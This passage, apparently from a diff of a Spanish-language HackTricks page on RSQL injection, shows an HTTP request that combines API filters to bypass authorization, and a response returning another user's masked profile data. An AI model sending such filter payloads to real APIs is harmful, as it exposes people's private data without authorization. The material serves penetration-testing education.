"id": "D5********************",
 | 
			
		||||
"type": "UserGetResponseCustomDTO"
 | 
			
		||||
}
 | 
			
		||||
}]
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
La combinación de filtros se puede utilizar para eludir el control de autorización y obtener acceso a los perfiles de otros usuarios:  
 | 
			
		||||
### Request
 | 
			
		||||
```
 | 
			
		||||
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Authorization: Bearer eyJ....
 | 
			
		||||
Origin: https://localhost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https://localhost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Respuesta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 200
 | 
			
		||||
Date: Sat, 22 Mar 2025 19:50:07 GMT
 | 
			
		||||
Content-Type: application/vnd.api+json;charset=UTF-8
 | 
			
		||||
Content-Length: 520
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
 | 
			
		||||
{
 | 
			
		||||
"data": [{
 | 
			
		||||
"id": "94******************",
 | 
			
		||||
"type": "UserGetResponseCustomDTO",
 | 
			
		||||
"attributes": {
 | 
			
		||||
"status": "ACTIVE",
 | 
			
		||||
"countryId": 63,
 | 
			
		||||
"timeZoneId": 2,
 | 
			
		||||
"translationKey": "**************",
 | 
			
		||||
"email": "jose******@domain.local",
 | 
			
		||||
"firstName": "jose",
 | 
			
		||||
"surname": "***************",
 | 
			
		||||
"telephoneCountryCode": "**",
 | 
			
		||||
"mobilePhone": "********",
 | 
			
		||||
"taxIdentifier": "*********",
 | 
			
		||||
"languageId": 1,
 | 
			
		||||
"createdAt": "2024-11-21T08:29:05.833Z",
 | 
			
		||||
"termsOfUseAccepted": true,
 | 
			
		||||
"id": "94******************",
 | 
			
		||||
"type": "UserGetResponseCustomDTO"
 | 
			
		||||
}
 | 
			
		||||
}]
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
## Referencias
 | 
			
		||||
- [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection)
 | 
			
		||||
- [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation)
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user